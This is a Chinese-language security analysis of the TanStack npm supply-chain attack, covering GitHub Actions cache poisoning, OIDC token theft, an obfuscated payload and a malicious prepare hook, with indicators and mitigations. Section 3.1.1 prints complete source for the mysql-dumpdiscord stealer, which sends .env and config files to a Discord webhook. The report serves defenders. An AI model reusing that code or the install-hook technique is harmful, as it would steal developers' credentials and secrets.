OIDC 竟成為攻擊破口?
摘要
這份報告針對近期鎖定 TanStack NPM 套件的供應鏈攻擊,提供詳細的技術分析。內容深入探討攻擊途徑,包括 CI 系統遭入侵、認證竊取惡意軟體,以及混淆過的 JavaScript 的使用。報告檢視了
package.json
中的惡意修改,以及 GitHub Actions 在此入侵事件中所扮演的角色。此外,也探討此事件對軟體供應鏈安全的廣泛影響,並概述建議的緩解措施以防止類似事件發生。分析中也將此攻擊與其他 NPM 供應鏈攻擊進行類比,突顯 Threat actor 常用的手法。
1. 簡介
軟體供應鏈的完整性已成為現代軟體開發中至關重要的議題。隨著專案日益依賴龐大的開源套件生態系,在開發和部署流程的各個階段,惡意程式碼注入的風險也隨之增加。近期發生的 84 個 TanStack NPM 套件遭入侵事件,正說明了此弱點。這起攻擊被識別為持續進行的 Mini Shai-Hulud 活動的一部分,涉及修改套件以納入疑似竊取 CI 認證的惡意軟體 [1] 。此報告目的在提供此事件的完整技術分析,探討攻擊方法、其影響以及有效的防禦措施。我們也將從其他相關的供應鏈攻擊中汲取見解,以提供對不斷演變的威脅環境更全面的觀點。
2. TanStack 攻擊的技術分析
2.1. 攻擊途徑與機制
TanStack 入侵事件歸因於一場複雜的 chained GitHub Actions 攻擊,利用了
pull_request_target
的「Pwn Request」模式,以及跨越 fork 與基礎程式庫信任邊界的 GitHub Actions 快取 poisoning
[1]
。這使得攻擊者能夠從 GitHub Actions runner process 中進行執行時期記憶體擷取,取得 OIDC Token。關鍵在於,攻擊者並未竊取 npm token,npm 發佈工作流程本身也未直接遭入侵。相反地,惡意發佈是透過專案的 OIDC trusted-publisher 綁定進行身分驗證,而攻擊者控制的程式碼是在工作流程的測試/清理階段執行,並直接向 npm registry 發送資料
[1]
。
2.2. Malicious Payload與混淆技術
遭入侵的套件版本中包含一個新增的
router_init.js
檔案,大小約 2.3 MB。此檔案使用類似
javascript-obfuscator
的典型模式進行高度混淆,包括字串陣列旋轉、十六進制編碼的識別碼查找(例如
_0x253b
)、在
while(!![]){}
狀態機內的控制流扁平化,以及無效程式碼注入。此混淆技術與 Terser 或 esbuild 等典型最小化工具的輸出截然不同,顯示這是刻意隱藏惡意意圖的行為
[1]
。
此 Malicious Payload 展現了以下幾個關鍵功能:
-
以 spawn 方式進行的 Daemon 化,具有
__DAEMONIZED重入防護與獨立的 stdio。 -
存取
GITHUB_*環境變數,其中包含僅限 Actions/CI 使用的 secrets,例如 Token 與 Actor 身分資訊。 - 暫存目錄的分段處理,具備讀取/寫入/刪除的完整生命週期。
- 遠端串流/派發操作。
2.3.
package.json
的修改
此攻擊的一個關鍵環節涉及對
package.json
檔案所做的修改,特別是新增了一個
optionalDependencies
欄位:
- "optionalDependencies": {
- "@tanstack/setup": "github:tanstack/router"
- }
此修改指向
TanStack/router
儲存庫中一個非常可疑的獨立/根目錄 commit 記錄(commit hash
79ac49eedf774dd4b0cfa308722bc463cfe5885c
)
[1]
。該 commit 記錄沒有先前的 commit 歷史,只引入了兩個檔案:一個
package.json
和一個打包好的
tanstack_runner.js
Payload。新增的
package.json
定義了一個名為
@tanstack/setup
的套件,並註冊了一個
prepare
生命週期 Hook,會執行
bun run tanstack_runner.js && exit 1
。此機制允許在開發者工作站或 CI 系統上,於安裝使用 git 的相依套件時,自動執行任意程式碼
[1]
。
3. 比較分析:供應鏈攻擊中的 Discord Webhook
為了更深入了解供應鏈攻擊的演變趨勢,檢視其他事件是很有幫助的。使用合法服務進行惡意的 Command and Control (C2) 操作和資料外洩已成為一種日益增長的趨勢。例如,Discord Webhook 已被用於各種套件生態系(包括 npm、PyPI 和 RubyGems)中,以建立隱蔽的通訊管道 [2] 。
3.1.
mysql-dumpdiscord
npm 套件分析
mysql-dumpdiscord
這個 npm 套件就是一個典型的檔案外洩 Dropper。此惡意套件目的在識別並從遭入侵的系統中提取敏感的設定檔,並透過 hardcoded 的 Discord Webhook URL 傳送其內容
[2]
。
3.1.1. 程式碼分析
mysql-dumpdiscord
的核心功能涉及逐一處理預先定義好的檔案名稱清單,解析出它們的絕對路徑、檢查檔案是否存在、讀取檔案內容,然後建構一則 Discord 訊息。一個值得注意的功能是內容截斷邏輯,這確保了即使是大檔案也能被部分外洩,而不會超過 Discord 的訊息長度限制
[2]
。
- const fs = require("fs");
- const path = require("path");
- // Discord Webhook URL - This is the exfiltration point
- const WEBHOOK_URL = "https://discord[.]com/api/webhooks/..."; // Example URL, actual URL is obfuscated
- // List of target files for exfiltration
- const FILES = ["config.json", "config.js",".env","ayarlar.json", "ayarlar.js"];
- async function sendToWebhook(filePath) {
- try {
- const fullPath = path.resolve(filePath);
- // Check if the file exists before attempting to read
- if (!fs.existsSync(fullPath)) return;
- // Read file content synchronously
- const content = fs.readFileSync(fullPath, "utf-8");
- let message;
- // Truncate content if it exceeds Discord's message length limit (1900 characters for code blocks)
- if (content.length > 1900) {
- message = `📄 File: \\`${filePath}\\`\\n\\`\\`\\`txt\\n${content.slice(0, 1900)}...\\n\\`\\`\\`\\n⚠️ File is too big, it was shortened.`;
- } else {
- message = `📄 File: \\`${filePath}\\`\\n\\`\\`\\`js\\n${content}\\n\\`\\`\\``;
- }
- // Send the formatted message to the Discord webhook
- await fetch(WEBHOOK_URL, {
- method: "POST",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ content: message }),
- });
- } catch (err) {
- // Silent error handling to avoid detection
- console.error("❌ Error:", err.message);
- }
- }
- // Iterate through the list of files and attempt to send their content
- FILES.forEach((file) => sendToWebhook(file));
- module.exports = {};
這段程式碼片段展示了惡意套件如何有系統地鎖定常見的設定檔。使用
fs.readFileSync
進行同步檔案讀取,以及使用
fetch
將資料傳送到 Webhook,這些都是標準的 Node.js 實務做法,使得惡意活動能融入合法操作中。靜默的錯誤處理(
console.error
)是一種常用手法,目的是在執行期間避免引起懷疑
[2]
。
3.1.2. 架構流程
mysql-dumpdiscord
套件的運作流程可視覺化如下:
此圖說明了直接且有效的外洩程序。由於每個步驟都定義明確,這種模組化設計可以有效地鎖定目標並傳輸資料。對 Discord Webhook 的依賴繞過了對專用 C2 伺服器的需求,使得偵測更加困難 [2] 。
4. 入侵指標與緩解策略
4.1. 入侵指標
針對 TanStack 攻擊,已識別出多個入侵指標 [1] :
-
存在
router_init.js檔案,且其特定 SHA256 hash 值為
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c。 -
package.json中出現非預期的optionalDependencies,指向github:tanstack/router且帶有 commit
79ac49eedf774dd4b0cfa308722bc463cfe5885c。 -
GitHub Commit 記錄的作者為
claude@users.noreply.github.com,但並非由正規的 Claude Code GitHub App 所發起。 -
對外連線至
filev2.getsession[.]org及相關的 Session 基礎設施。
4.2. 建議的緩解策略
為了防禦這類複雜的供應鏈攻擊,採取多層次的方法至關重要。根據 TanStack 事件及一般最佳實務,建議採用以下緩解策略 [1] :
-
立即分類與檢查:
掃描並驗證相依樹中的
router_init.js檔案是否完整。 - 更換 Secrets: 立即更換所有安裝了受影響套件版本之系統上的 secrets(包含 npm Token、GitHub PAT/OIDC 信任關係、AWS 憑證、Vault Token、Kubernetes service account token)。
- 撤銷 OIDC 聯合授權: 對於從受影響儲存庫發佈的 npm 套件,撤銷其 GitHub Actions OIDC 聯合授權,並僅在確認工作流程完整性後重新建立。
-
稽核開發者目錄:
檢查
.claude/和.vscode/目錄中是否有可疑檔案,例如router_runtime.js、setup.mjs,或settings.jsonhooks、tasks.json中的不明項目。 - 審查 GitHub Commit 記錄: 主動監控未經授權的Commit 記錄,尤其是來自可疑作者的 Commit。
- 掃描 npm 發佈日誌: 尋找來自 GitHub Actions runner 的非預期發佈。
-
封鎖惡意對外連線:
實施網路層級的封鎖,阻擋已知的惡意網域,例如
filev2.getsession[.]org。 -
實施套件鎖定驗證:
使用 Subresource Integrity 或套件鎖定驗證,並在
package-lock.json或pnpm-lock.yaml中固定所有套件的integrity欄位。 -
限制 OIDC Token 範圍:
為 GitHub Actions 工作流程設定精細的 OIDC Token 權限,對於不需要 OIDC 發佈的工作流程設定
permissions: id-token: none,並將id-token: write權限僅鎖定在特定的發佈任務上。 - 不要僅依賴 Sigstore: 了解攻擊者若能在 GitHub Actions 中執行程式碼,仍然可以為惡意套件產生有效的 Sigstore 證明。
5. 結論
TanStack NPM 供應鏈攻擊事件,清楚地提醒了軟體生態系正面臨持續且不斷演變的威脅。巧妙地利用 GitHub Actions 的弱點,結合混淆過的惡意軟體以及對
package.json
的細微修改,凸顯了持續保持警覺與實施強健安全實務的重要性。透過了解這類攻擊的技術細節,並實施全面的緩解策略,組織可以顯著增強抵禦未來供應鏈入侵事件的韌性。與其他事件(例如
mysql-dumpdiscord
套件)的比較分析,進一步強調了 Threat actor 所採用的多樣化手法,以及多層面防禦的重要性。